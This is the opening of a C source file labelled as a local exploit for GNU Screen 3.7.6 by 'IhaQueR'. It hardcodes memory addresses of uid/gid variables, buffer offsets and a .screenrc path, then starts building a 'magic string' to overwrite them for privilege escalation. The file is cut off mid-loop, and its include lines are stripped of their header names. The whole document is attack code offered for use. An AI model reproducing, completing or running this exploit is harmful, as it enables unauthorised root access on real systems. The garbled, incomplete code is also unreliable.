/**************************************************************** * * * Screen 3.7.6 (and others) local exploit * * by IhaQueR@IRCnet * * * ****************************************************************/ #include #include #include #include #include #include #define TMPBUFSIZE 4096 #define SCREENRC "/usr/home/paul/.screenrc" #define SCREEN "/usr/bin/screen" #define AREP 1 #define BUFOFFSET 324 #define PADDING 3 #define WRITEADDR 0x807beb4 // some offsets grabbed from 3.7.6 // &real_uid, &real_gid, &eff_uid, &eff_gid own_uid // 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 // + 64 +64 int main(int argc, char** argv) { int i, l; FILE* fp; char buf[TMPBUFSIZE]; unsigned char adr[(AREP+2)*sizeof(unsigned)]; unsigned char* cp; unsigned a, *p; if(argc != 2) { printf("USAGE %s offset\n", argv[0]); return 0; } l = atoi(argv[1]); printf("creating magic string\n"); bzero(buf, TMPBUFSIZE); /* consume stack arguments */ for(i=0; i